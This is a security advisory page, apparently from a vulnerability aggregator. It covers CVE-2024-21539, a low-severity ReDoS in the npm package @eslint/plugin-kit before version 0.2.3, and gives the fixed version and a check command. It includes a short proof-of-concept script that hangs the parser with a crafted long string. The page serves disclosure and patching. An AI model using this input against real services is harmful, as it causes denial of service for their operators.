NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2024-21539: Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

lowCVSS 3.1 3.5GHSA-7q7g-4xm8-89cq

Crafting a very large and well crafted string can increase the CPU usage and crash the program. POC

Published Nov 15, 2024 · Updated Nov 19, 2024

Affected packages

@eslint/plugin-kit

Ecosystem
npm
Affected
< 0.2.3
Fixed in
0.2.3
Check
npm ls @eslint/plugin-kit

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Credited to mariancorneci-snyk, SuperMaxine, MikuroXina.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More npm vulnerabilities

All npm entries